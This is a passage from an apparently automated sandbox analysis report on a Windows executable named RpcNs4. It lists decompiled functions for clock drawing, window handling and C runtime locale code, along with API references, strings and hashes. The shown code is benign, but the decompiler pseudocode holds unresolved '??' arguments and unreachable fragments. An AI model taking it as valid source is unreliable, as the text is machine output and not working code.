				BitBlt(_v28, 0x30, 0, 0xd, 0x15,  *(_t105 + 0x10), (_t123 - _t133 + _t133 * 4 + _t133 + _t133 * 4) * 0xd, 0, 0xcc0020);
				_t125 = _v24.wSecond & 0x0000ffff;
				_t117 = 0x66666667 * _t125 >> 0x20 >> 2;
				_t136 = (0x66666667 * _t125 >> 0x20 >> 2 >> 0x1f) + (0x66666667 * _t125 >> 0x20 >> 2);
				BitBlt(_v28, 0x44, 0, 0xd, 0x15,  *(_t105 + 0x10), _t136 * 0xd, 0, 0xcc0020);
				_t137 = _v28;
				_t127 = BitBlt;
				BitBlt(_t137, 0x51, 0, 0xd, 0x15,  *(_t105 + 0x10), (_t125 - _t136 + _t136 * 4 + _t136 + _t136 * 4) * 0xd, 0, 0xcc0020);
				_push(0xcc0020);
				_push(0);
				if(_v24.wMilliseconds <= 0x1f4) {
					BitBlt(_t137, 0x1c, 0, 7, 0x15,  *(_t105 + 0x10), 0xa3, ??, ??);
					_push(0xcc0020);
					_push(0);
					_push(0xa3);
				} else {
					BitBlt(_t137, 0x1c, 0, 7, 0x15,  *(_t105 + 0x10), 0x9c, ??, ??);
					_push(0xcc0020);
					_push(0);
					_push(0x9c);
				}
				BitBlt(_t137, 0x3d, 0, 7, 0x15,  *(_t105 + 0x10), ??, ??, ??);
				if( *((char*)(_t105 + 0x1c)) == 1) {
					_push(0xcc0020);
					_push(0);
					if(_v24.wHour < 0xc) {
						_push(0x82);
					} else {
						_push(0x8f);
					}
					BitBlt(_t137, 0x60, 0, 0xd, 0x15,  *(_t105 + 0x10), ??, ??, ??);
				}
				ReleaseDC( *(_t105 + 0x18), _t137);
				return E004023FF(_t105, _v8 ^ _t141, _t117, _t127, _t137);
			}

0x00401466
0x0040146d
0x00401472
0x0040147e
0x00401484
0x00401487
0x004014a9
0x004014b3
0x00401511
0x00401515
0x00401521
0x00401523
0x00401523
0x00401535
0x00401543
0x00401559
0x00401573
0x004014b5
0x004014b5
0x004014cd
0x004014e3
0x00401509
0x00401509
0x00401575
0x0040158d
0x004015a3
0x004015c9
0x004015cf
0x004015df
0x004015e7
0x004015fd
0x00401606
0x00401617
0x0040162a
0x00401631
0x00401636
0x0040163c
0x00401670
0x00401672
0x00401677
0x00401679
0x0040163e
0x0040164f
0x00401651
0x00401656
0x00401658
0x00401658
0x0040168a
0x00401690
0x00401697
0x0040169c
0x0040169e
0x004016a7
0x004016a0
0x004016a0
0x004016a0
0x004016b8
0x004016b8
0x004016be
0x004016d4

APIs

GetDC.USER32(?), ref: 00401478
GetLocalTime.KERNEL32(?), ref: 00401487
StretchBlt.GDI32(00000000,00000000,00000000,0000006F,00000015,?,000000AA,00000000,00000002,00000015,00CC0020), ref: 004014A9
BitBlt.GDI32(?,00000002,00000000,0000000D,00000015,?,66666667,00000000,00CC0020), ref: 004014E3
BitBlt.GDI32(?,0000000F,00000000,0000000D,00000015,?,00000000,00000000,00CC0020), ref: 00401509
BitBlt.GDI32(00000000,00000002,00000000,0000000D,00000015,?,66666667,00000000,00CC0020), ref: 00401559
BitBlt.GDI32(00000000,0000000F,00000000,0000000D,00000015,?,00000000,00000000,00CC0020), ref: 00401573
BitBlt.GDI32(?,00000023,00000000,0000000D,00000015,?,66666667,00000000,00CC0020), ref: 004015A3
BitBlt.GDI32(?,00000030,00000000,0000000D,00000015,?,00000000,00000000,00CC0020), ref: 004015C9
BitBlt.GDI32(?,00000044,00000000,0000000D,00000015,?,66666667,00000000,00CC0020), ref: 004015FD
BitBlt.GDI32(?,00000051,00000000,0000000D,00000015,?,00000000,00000000,00CC0020), ref: 0040162A
BitBlt.GDI32(?,0000001C,00000000,00000007,00000015,?,0000009C,00000000,00CC0020), ref: 0040164F
BitBlt.GDI32(?,0000001C,00000000,00000007,00000015,?,000000A3,00000000,00CC0020), ref: 00401670
BitBlt.GDI32(?,0000003D,00000000,00000007,00000015,?,000000A3,00000000,00CC0020), ref: 0040168A
BitBlt.GDI32(?,00000060,00000000,0000000D,00000015,?,00000082,00000000,00CC0020), ref: 004016B8
ReleaseDC.USER32 ref: 004016BE

Strings

gfff, xrefs: 004015D3
gfff, xrefs: 00401579
@bw, xrefs: 004014A9
gfff, xrefs: 004014B9
gfff, xrefs: 0040151C

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: LocalReleaseStretchTime
String ID: gfff$gfff$gfff$gfff$@bw
API String ID: 3873728368-1481070139
Opcode ID: 2bac2e643f9ae310b9b1c5671be892aa5c7a774fda8b0812f5c359b49242290a
Instruction ID: 8369255b4d5222c7f4210ed0fb5063c9b8c6610f14c435b30fd9e32c564ce736
Opcode Fuzzy Hash: 2bac2e643f9ae310b9b1c5671be892aa5c7a774fda8b0812f5c359b49242290a
Instruction Fuzzy Hash: B4717332B80708BBFB349F55DD0BF6A7A69EB84B00F150065FB10BE1D2D2F599109B99

Uniqueness

Uniqueness Score: -1.00%

Function 0040392E, Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E0040392E(void* __eax, void* __ebx) {
				intOrPtr _t5;
				intOrPtr _t6;
				intOrPtr _t7;
				intOrPtr _t8;
				void* _t9;
				void* _t14;
				void* _t24;
				intOrPtr* _t25;
				signed int _t26;
				signed int _t27;
				intOrPtr _t39;

				_t14 = __ebx;
				__imp__DecodePointer( *0x438c08);
				_t25 =  *0x436d08; // 0x0
				_t24 = __eax;
				if(_t25 == 0) {
					L4:
					_push(_t14);
					E00402CB3(_t25);
					_t26 =  *0x436d04; // 0x61e680
					 *0x436d08 = 0;
					if(_t26 == 0) {
						L8:
						E00402CB3(_t26);
						 *0x436d04 = 0;
						E00402CB3( *0x436d00);
						_t5 = E00402CB3( *0x436cfc);
						_t27 = _t26 | 0xffffffff;
						 *0x436d00 = 0;
						 *0x436cfc = 0;
						if(_t24 != _t27) {
							_t39 =  *0x438c08; // 0x8487d1c6
							if(_t39 != 0) {
								_t5 = E00402CB3(_t24);
							}
						}
						__imp__EncodePointer(_t27);
						 *0x438c08 = _t5;
						_t6 =  *0x437774; // 0x0
						if(_t6 != 0) {
							E00402CB3(_t6);
							 *0x437774 = 0;
						}
						_t7 =  *0x437778; // 0x0
						if(_t7 != 0) {
							E00402CB3(_t7);
							 *0x437778 = 0;
						}
						_t8 =  *0x435794; // 0x626c30
						asm("lock xadd [eax], esi");
						if(_t27 != 1) {
							L18:
							return _t8;
						} else {
							_t8 =  *0x435794; // 0x626c30
							if(_t8 == 0x435570) {
								goto L18;
							}
							_t9 = E00402CB3(_t8);
							 *0x435794 = 0x435570;
							return _t9;
						}
					}
					while( *_t26 != 0) {
						E00402CB3( *_t26);
						_t26 = _t26 + 4;
						if(_t26 != 0) {
							continue;
						}
						break;
					}
					_t26 =  *0x436d04; // 0x61e680
					goto L8;
				}
				while( *_t25 != 0) {
					E00402CB3( *_t25);
					_t25 = _t25 + 4;
					if(_t25 != 0) {
						continue;
					}
					break;
				}
				_t25 =  *0x436d08; // 0x0
				goto L4;
			}

0x0040392e
0x00403936
0x0040393c
0x00403942
0x00403946
0x00403960
0x00403960
0x00403962
0x00403967
0x0040396f
0x00403978
0x00403991
0x00403992
0x0040399d
0x004039a3
0x004039ae
0x004039b3
0x004039b6
0x004039bf
0x004039c7
0x004039c9
0x004039cf
0x004039d2
0x004039d7
0x004039cf
0x004039d9
0x004039df
0x004039e4
0x004039eb
0x004039ee
0x004039f4
0x004039f4
0x004039fa
0x00403a01
0x00403a04
0x00403a0a
0x00403a0a
0x00403a10
0x00403a15
0x00403a1b
0x00403a3a
0x00403a3a
0x00403a1d
0x00403a1d
0x00403a29
0x00000000
0x00000000
0x00403a2c
0x00403a32
0x00000000
0x00403a32
0x00403a1b
0x0040397a
0x00403980
0x00403986
0x00403989
0x00000000
0x00000000
0x00000000
0x00403989
0x0040398b
0x00000000
0x0040398b
0x00403948
0x0040394f
0x00403955
0x00403958
0x00000000
0x00000000
0x00000000
0x00403958
0x0040395a
0x00000000

APIs

DecodePointer.KERNEL32 ref: 00403936
_free.LIBCMT ref: 0040394F

Part of subcall function 00402CB3: HeapFree.KERNEL32(00000000,00000000,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CC7
Part of subcall function 00402CB3: GetLastError.KERNEL32(xuC,?,00406DD2,00000000,?,?,00404371,00402B70,00434230,00000014), ref: 00402CD9

_free.LIBCMT ref: 00403962
_free.LIBCMT ref: 00403980
_free.LIBCMT ref: 00403992
_free.LIBCMT ref: 004039A3
_free.LIBCMT ref: 004039AE
_free.LIBCMT ref: 004039D2
EncodePointer.KERNEL32(0061E680), ref: 004039D9
_free.LIBCMT ref: 004039EE
_free.LIBCMT ref: 00403A04
_free.LIBCMT ref: 00403A2C

Strings

pUC, xrefs: 00403A22
0lb, xrefs: 00403A10, 00403A1D, 00403A32

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: _free$Pointer$DecodeEncodeErrorFreeHeapLast
String ID: 0lb$pUC
API String ID: 3064303923-4201871394
Opcode ID: 9e368f96e69a788bf5f9fe72ec27c00b85b73d030a192da84a46a16c3714cec0
Instruction ID: 2d5ff0e81fdfeecdb028d6274274e2617790129ccf2f9e9fb2bc5b6500c7a3d5
Opcode Fuzzy Hash: 9e368f96e69a788bf5f9fe72ec27c00b85b73d030a192da84a46a16c3714cec0
Instruction Fuzzy Hash: F121D0B2A05652ABEB225F25FE4455A7BA8FB00321715607FF844B73E0CB785D408F9C

Uniqueness

Uniqueness Score: -1.00%

Function 00413B7F, Relevance: 19.6, APIs: 13, Instructions: 84
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 77%

			E00413B7F(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8) {
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t12;
				intOrPtr _t13;
				intOrPtr _t15;
				intOrPtr _t22;
				intOrPtr* _t42;

				if(_a4 > 5 || _a8 == 0) {
					L4:
					return 0;
				} else {
					_t42 = E0040CFF1(8, 1);
					if(_t42 != 0) {
						_t12 = E0040CFF1(0xb8, 1);
						 *_t42 = _t12;
						__eflags = _t12;
						if(_t12 != 0) {
							_t13 = E0040CFF1(0x220, 1);
							 *((intOrPtr*)(_t42 + 4)) = _t13;
							__eflags = _t13;
							if(_t13 != 0) {
								E00413694( *_t42, 0x4359f8);
								_t15 = E00413F7F(__ebx, __edx, 1, _t42,  *_t42, _a4, _a8);
								_push( *((intOrPtr*)(_t42 + 4)));
								__eflags = _t15;
								if(__eflags == 0) {
									L14:
									E00402CB3();
									E0040E7B6( *_t42);
									E0040E65C( *_t42);
									E00402CB3(_t42);
									_t42 = 0;
									L16:
									return _t42;
								}
								_push( *((intOrPtr*)( *_t42 + 4)));
								_t22 = E0040DF62(__edx, 1, __eflags);
								__eflags = _t22;
								if(_t22 == 0) {
									 *((intOrPtr*)( *((intOrPtr*)(_t42 + 4)))) = 1;
									goto L16;
								}
								_push( *((intOrPtr*)(_t42 + 4)));
								goto L14;
							}
							E00402CB3( *_t42);
							E00402CB3(_t42);
							L8:
							goto L3;
						}
						E00402CB3(_t42);
						goto L8;
					}
					L3:
					 *((intOrPtr*)(E00403FAC())) = 0xc;
					goto L4;
				}
			}

0x00413b88
0x00413bae
0x00000000
0x00413b90
0x00413b9b
0x00413ba1
0x00413bba
0x00413bbf
0x00413bc3
0x00413bc5
0x00413bd6
0x00413bdb
0x00413be0
0x00413be2
0x00413bfb
0x00413c08
0x00413c10
0x00413c13
0x00413c15
0x00413c2a
0x00413c2a
0x00413c31
0x00413c38
0x00413c3e
0x00413c46
0x00413c4f
0x00000000
0x00413c4f
0x00413c19
0x00413c1c
0x00413c23
0x00413c25
0x00413c4d
0x00000000
0x00413c4d
0x00413c27
0x00000000
0x00413c27
0x00413be6
0x00413bec
0x00413bcd
0x00000000
0x00413bcd
0x00413bc8
0x00000000
0x00413bc8
0x00413ba3
0x00413ba8
0x00000000
0x00413ba8

APIs

__calloc_crt.LIBCMT ref: 00413B96

Part of subcall function 0040CFF1: __calloc_impl.LIBCMT ref: 0040D000

__calloc_crt.LIBCMT ref: 00413BBA
_free.LIBCMT ref: 00413BC8
__calloc_crt.LIBCMT ref: 00413BD6
_free.LIBCMT ref: 00413BE6
_free.LIBCMT ref: 00413BEC
__copytlocinfo_nolock.LIBCMT ref: 00413BFB
__wsetlocale_nolock.LIBCMT ref: 00413C08
__setmbcp_nolock.LIBCMT ref: 00413C1C
_free.LIBCMT ref: 00413C2A
___removelocaleref.LIBCMT ref: 00413C31
___freetlocinfo.LIBCMT ref: 00413C38
_free.LIBCMT ref: 00413C3E

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: _free$__calloc_crt$___freetlocinfo___removelocaleref__calloc_impl__copytlocinfo_nolock__setmbcp_nolock__wsetlocale_nolock
String ID:
API String ID: 1503006713-0
Opcode ID: 24c83f02682986b5a658c73e614b9f1ff3bed2990c2cbe72f34b9a537931d441
Instruction ID: ae6e16b3023edc39ad57d468ef94e2b8fd466f6482efcdffcca20402270c21c8
Opcode Fuzzy Hash: 24c83f02682986b5a658c73e614b9f1ff3bed2990c2cbe72f34b9a537931d441
Instruction Fuzzy Hash: 17212532108A01EAE7323F26DD06A8A7BA4DF40716F10403FF448761D2EA3D9A50965D

Uniqueness

Uniqueness Score: -1.00%

Function 00413C56, Relevance: 19.4, APIs: 10, Strings: 1, Instructions: 131
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 84%

			E00413C56(void* __ebx, void* __edx, void* __edi, void* __esi, intOrPtr _a4, signed int _a8, char _a12) {
				signed int _v8;
				signed int _v32;
				intOrPtr _v36;
				signed int _v40;
				void* _t38;
				signed int _t45;
				signed int _t60;
				intOrPtr _t77;
				void* _t80;
				intOrPtr* _t82;
				signed int _t83;
				signed int _t86;
				intOrPtr _t88;
				void* _t92;

				_t80 = __edx;
				_push(__ebx);
				_push(__esi);
				_t86 = 0;
				if(_a12 <= 0) {
					L5:
					return _t38;
				} else {
					_push(__edi);
					_t82 =  &_a12;
					while(1) {
						_t82 = _t82 + 4;
						_t38 = E0040E224(_a4, _a8,  *_t82);
						_t92 = _t92 + 0xc;
						if(_t38 != 0) {
							break;
						}
						_t86 = _t86 + 1;
						if(_t86 < _a12) {
							continue;
						} else {
							goto L5;
						}
						goto L20;
					}
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					_push(0);
					E00406C1E(0, _t80);
					asm("int3");
					_push(0x14);
					_push(0x434758);
					E00406830(0, _t82, _t86);
					_t66 = 0;
					_v32 = 0;
					__eflags = _a4 - 5;
					if(_a4 <= 5) {
						_t88 = E00404224();
						_v36 = _t88;
						E0040E856(0, _t80, _t82, _t88, __eflags);
						 *(_t88 + 0x70) =  *(_t88 + 0x70) | 0x00000010;
						_v8 = _v8 & 0;
						_t83 = E0040CFF1(0xb8, 1);
						_v40 = _t83;
						__eflags = _t83;
						if(_t83 != 0) {
							E00406D5B(0xc);
							_v8 = 1;
							E00413694(_t83,  *((intOrPtr*)(_t88 + 0x6c)));
							_v8 = _v8 & 0x00000000;
							E00413DCB();
							_t66 = E00413F7F(0, _t80, _t83, _t88, _t83, _a4, _a8);
							_v32 = _t66;
							__eflags = _t66;
							if(_t66 == 0) {
								E0040E7B6(_t83);
								_t43 = E0040E65C(_t83);
							} else {
								__eflags = _a8;
								if(_a8 != 0) {
									_t60 = E00418AEC(_a8, 0x43588c);
									__eflags = _t60;
									if(_t60 != 0) {
										 *0x4377a8 = 1;
									}
								}
								E00406D5B(0xc);
								_v8 = 2;
								_t25 = _t88 + 0x6c; // 0x6c
								E0040E8D6(_t25, _t83);
								E0040E7B6(_t83);
								__eflags =  *(_t88 + 0x70) & 0x00000002;
								if(( *(_t88 + 0x70) & 0x00000002) == 0) {
									__eflags =  *0x435d60 & 0x00000001;
									if(( *0x435d60 & 0x00000001) == 0) {
										E0040E8D6(0x4359f4,  *((intOrPtr*)(_t88 + 0x6c)));
										_t77 =  *0x4359f4; // 0x4359f8
										_t32 = _t77 + 0x84; // 0x435d70
										 *0x435d68 =  *_t32;
										_t33 = _t77 + 0x90; // 0x430d60
										 *0x435dc4 =  *_t33;
										_t34 = _t77 + 0x74; // 0x1
										 *0x435888 =  *_t34;
									}
								}
								_v8 = _v8 & 0x00000000;
								_t43 = E00413DDA();
							}
						}
						_v8 = 0xfffffffe;
						E00413E0D(_t43, _t88);
						_t45 = _t66;
					} else {
						 *((intOrPtr*)(E00403FAC())) = 0x16;
						E00406BF3();
						_t45 = 0;
					}
					return E00406875(_t45);
				}
				L20:
			}

0x00413c56
0x00413c59
0x00413c5c
0x00413c5d
0x00413c62
0x00413c86
0x00413c89
0x00413c64
0x00413c64
0x00413c65
0x00413c68
0x00413c68
0x00413c73
0x00413c78
0x00413c7d
0x00000000
0x00000000
0x00413c7f
0x00413c83
0x00000000
0x00413c85
0x00000000
0x00413c85
0x00000000
0x00413c83
0x00413c8a
0x00413c8b
0x00413c8c
0x00413c8d
0x00413c8e
0x00413c8f
0x00413c94
0x00413c95
0x00413c97
0x00413c9c
0x00413ca1
0x00413ca3
0x00413ca6
0x00413caa
0x00413cc8
0x00413cca
0x00413ccd
0x00413cd2
0x00413cd6
0x00413ce7
0x00413ce9
0x00413cec
0x00413cee
0x00413cf6
0x00413cfc
0x00413d07
0x00413d0e
0x00413d12
0x00413d26
0x00413d28
0x00413d2b
0x00413d2d
0x00413de6
0x00413dec
0x00413d33
0x00413d33
0x00413d37
0x00413d41
0x00413d48
0x00413d4a
0x00413d4c
0x00413d4c
0x00413d4a
0x00413d58
0x00413d5e
0x00413d65
0x00413d6a
0x00413d70
0x00413d78
0x00413d7c
0x00413d7e
0x00413d85
0x00413d8f
0x00413d96
0x00413d9c
0x00413da2
0x00413da7
0x00413dad
0x00413db2
0x00413db5
0x00413db5
0x00413d85
0x00413dba
0x00413dbe
0x00413dbe
0x00413d2d
0x00413df3
0x00413dfa
0x00413dff
0x00413cac
0x00413cb1
0x00413cb7
0x00413cbc
0x00413cbc
0x00413e06
0x00413e06
0x00000000

APIs

__calloc_crt.LIBCMT ref: 00413CE0
__lock.LIBCMT ref: 00413CF6
__copytlocinfo_nolock.LIBCMT ref: 00413D07
__wsetlocale_nolock.LIBCMT ref: 00413D1E
__lock.LIBCMT ref: 00413D58
__updatetlocinfoEx_nolock.LIBCMT ref: 00413D6A
___removelocaleref.LIBCMT ref: 00413D70
__updatetlocinfoEx_nolock.LIBCMT ref: 00413D8F

Strings

p]C, xrefs: 00413DA2

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: Ex_nolock__lock__updatetlocinfo$___removelocaleref__calloc_crt__copytlocinfo_nolock__wsetlocale_nolock
String ID: p]C
API String ID: 790675137-1265664625
Opcode ID: 6d1495893d940ef6be95611885f58a632d76adb249db02c33a89ec36003c17cf
Instruction ID: 623bc6a35c898f006257f3d2ac9b328070ff02d3e3c726b5a2c0b95e6af6f13e
Opcode Fuzzy Hash: 6d1495893d940ef6be95611885f58a632d76adb249db02c33a89ec36003c17cf
Instruction Fuzzy Hash: D8410072904304AFDB10AFA6A8827DE77E0AF04319F10443FF905AA292DB7D96919B5D

Uniqueness

Uniqueness Score: -1.00%

Function 00401100, Relevance: 15.1, APIs: 10, Instructions: 64
windowCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00401100(long __ecx, struct HWND__* _a4, struct HINSTANCE__* _a8, CHAR* _a12) {
				struct HWND__* _t16;
				struct HMENU__* _t18;
				void* _t23;
				long _t28;
				struct HINSTANCE__* _t30;
				struct HDC__* _t31;

				_t16 = _a4;
				_t30 = _a8;
				_t28 = __ecx;
				 *((intOrPtr*)(__ecx)) = 0x42cc54;
				 *((char*)(__ecx + 0x1c)) = 0;
				 *(__ecx + 0x14) = _t16;
				 *(_t28 + 0x18) = CreateWindowExA(0, _a12, 0, 0x90000000, 0, 0, 0x6f, 0x15, _t16, 0, _t30, 0);
				_t18 = LoadMenuA(_t30, 0x6d);
				 *(_t28 + 8) = _t18;
				 *((intOrPtr*)(_t28 + 0xc)) = GetSubMenu(_t18, 0);
				_t31 = GetDC( *(_t28 + 0x18));
				 *(_t28 + 0x10) = CreateCompatibleDC(_t31);
				ReleaseDC( *(_t28 + 0x18), _t31);
				_t23 = LoadBitmapA(_t30, 0x85);
				 *(_t28 + 4) = _t23;
				SelectObject( *(_t28 + 0x10), _t23);
				SetWindowLongA( *(_t28 + 0x18), 0xfffffffc, 0x401050);
				SetWindowLongA( *(_t28 + 0x18), 0xffffffeb, _t28);
				return _t28;
			}

0x00401103
0x00401109
0x0040110c
0x00401126
0x0040112e
0x00401132
0x0040113e
0x00401141
0x0040114a
0x00401156
0x0040115f
0x0040116c
0x0040116f
0x0040117b
0x00401185
0x00401188
0x0040119e
0x004011a6
0x004011ae

APIs

CreateWindowExA.USER32 ref: 00401135
LoadMenuA.USER32 ref: 00401141
GetSubMenu.USER32 ref: 0040114D
GetDC.USER32(?), ref: 00401159
CreateCompatibleDC.GDI32(00000000), ref: 00401162
ReleaseDC.USER32 ref: 0040116F
LoadBitmapA.USER32 ref: 0040117B
SelectObject.GDI32(?,00000000), ref: 00401188
SetWindowLongA.USER32 ref: 0040119E
SetWindowLongA.USER32 ref: 004011A6

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: Window$CreateLoadLongMenu$BitmapCompatibleObjectReleaseSelect
String ID:
API String ID: 3316247204-0
Opcode ID: f11f789d58ba93abe2704281de4c3fe989fbbccd220e4df097f1c4c5a90b91e0
Instruction ID: 47f8015d6f8a27a6f2185c8b06d3858f74a4fe0b09e34247c124d55f7d547d32
Opcode Fuzzy Hash: f11f789d58ba93abe2704281de4c3fe989fbbccd220e4df097f1c4c5a90b91e0
Instruction Fuzzy Hash: AF111C71640310BFEB145F659C89F5B7F68EB49711F1045A5FA00AA2E5C6B5DC20CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00401C80, Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 112
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00401C80(void* __ebx, void* __edx, void* __edi, struct HWND__* _a4, int _a8, int _a12, long _a16) {
				signed int _v8;
				struct tagPAINTSTRUCT _v72;
				void* __esi;
				signed int _t19;
				void* _t22;
				void* _t25;
				void* _t34;
				void* _t38;
				signed int _t42;
				int _t53;
				int _t58;
				intOrPtr _t63;
				struct HWND__* _t72;
				signed int _t73;

				_t70 = __edx;
				_t19 =  *0x435040; // 0x4b97bcea
				_v8 = _t19 ^ _t73;
				_t53 = _a8;
				_t72 = _a4;
				_t22 = _t53 - 2;
				if(_t22 == 0) {
					PostQuitMessage(0);
					return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
				} else {
					_t25 = _t22 - 0xd;
					if(_t25 == 0) {
						BeginPaint(_t72,  &_v72);
						EndPaint(_t72,  &_v72);
						return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
					} else {
						if(_t25 == 0x102) {
							_t58 = _a12;
							_t34 = (_t58 & 0x0000ffff) - 0x69;
							if(_t34 == 0) {
								DestroyWindow(_t72);
								return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
							} else {
								_t38 = _t34 - 0x7f9d;
								if(_t38 == 0) {
									MessageBoxA(_t72, 0x436918, "About", 0x40);
									return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
								} else {
									_t42 = _t38 - 1;
									if(_t42 == 0) {
										_t63 =  *0x436844; // 0x0
										 *0x4368ac = _t42 & 0xffffff00 |  *0x4368ac == 0x00000000;
										L0040104B(_t63, (_t42 & 0xffffff00 |  *0x4368ac == 0x00000000) & 0x000000ff);
										return E004023FF(__ebx, _v8 ^ _t73, __edx, __edi, _t72);
									} else {
										DefWindowProcA(_t72, 0x111, _t58, _a16);
										return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
									}
								}
							}
						} else {
							DefWindowProcA(_t72, _t53, _a12, _a16);
							return E004023FF(__ebx, _v8 ^ _t73, _t70, __edi, _t72);
						}
					}
				}
			}

0x00401c80
0x00401c86
0x00401c8d
0x00401c90
0x00401c96
0x00401c99
0x00401c9c
0x00401da7
0x00401dbd
0x00401ca2
0x00401ca2
0x00401ca5
0x00401d81
0x00401d8c
0x00401da2
0x00401cab
0x00401cb0
0x00401cd1
0x00401cd7
0x00401cda
0x00401d63
0x00401d79
0x00401ce0
0x00401ce0
0x00401ce5
0x00401d49
0x00401d5f
0x00401ce7
0x00401ce7
0x00401ce8
0x00401d12
0x00401d1b
0x00401d24
0x00401d39
0x00401cea
0x00401cf4
0x00401d08
0x00401d08
0x00401ce8
0x00401ce5
0x00401cb2
0x00401cba
0x00401cce
0x00401cce
0x00401cb0
0x00401ca5

APIs

DefWindowProcA.USER32(?,?,?,?), ref: 00401CBA
DefWindowProcA.USER32(?,00000111,?,?), ref: 00401CF4
BeginPaint.USER32(?,?), ref: 00401D81
EndPaint.USER32(?,?), ref: 00401D8C
PostQuitMessage.USER32(00000000), ref: 00401DA7

Strings

About, xrefs: 00401D3E

Memory Dump Source

Source File: 00000002.00000002.256448974.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.256423838.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256635443.000000000042C000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256647032.0000000000435000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.256660274.0000000000439000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.256692564.000000000044E000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_RpcNs4.jbxd

Similarity

API ID: PaintProcWindow$BeginMessagePostQuit
String ID: About
API String ID: 3181456275-1949634023
Opcode ID: 5a5cfd39e6820e542c64a1b125ed650101f42d542ecb90d47b2c7f2a410015d5
Instruction ID: 88c6f8a955abea856bd48f6bc5af4ea1602800acc5508de23de6365d246a8e04
Opcode Fuzzy Hash: 5a5cfd39e6820e542c64a1b125ed650101f42d542ecb90d47b2c7f2a410015d5
Instruction Fuzzy Hash: BB31B63161000D6BDB14EF79AD0AABF77A9EF09300F00456BFC02A65D2CAB95E10A799

Uniqueness

Uniqueness Score: -1.00%

Function 00413496, Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 84%

			E00413496(void* __ebx, void* __edi, void* __esi, void* __eflags) {
				void* _t10;
				signed int _t12;
				intOrPtr* _t16;
				intOrPtr* _t31;
				void* _t32;

				_push(8);
				_push(0x434730);
				_t10 = E00406830(__ebx, __edi, __esi);
				_t31 =  *((intOrPtr*)(_t32 + 8));
				if(_t31 != 0) {
					_t12 = E00406D5B(0xd);
					 *(_t32 - 4) =  *(_t32 - 4) & 0x00000000;
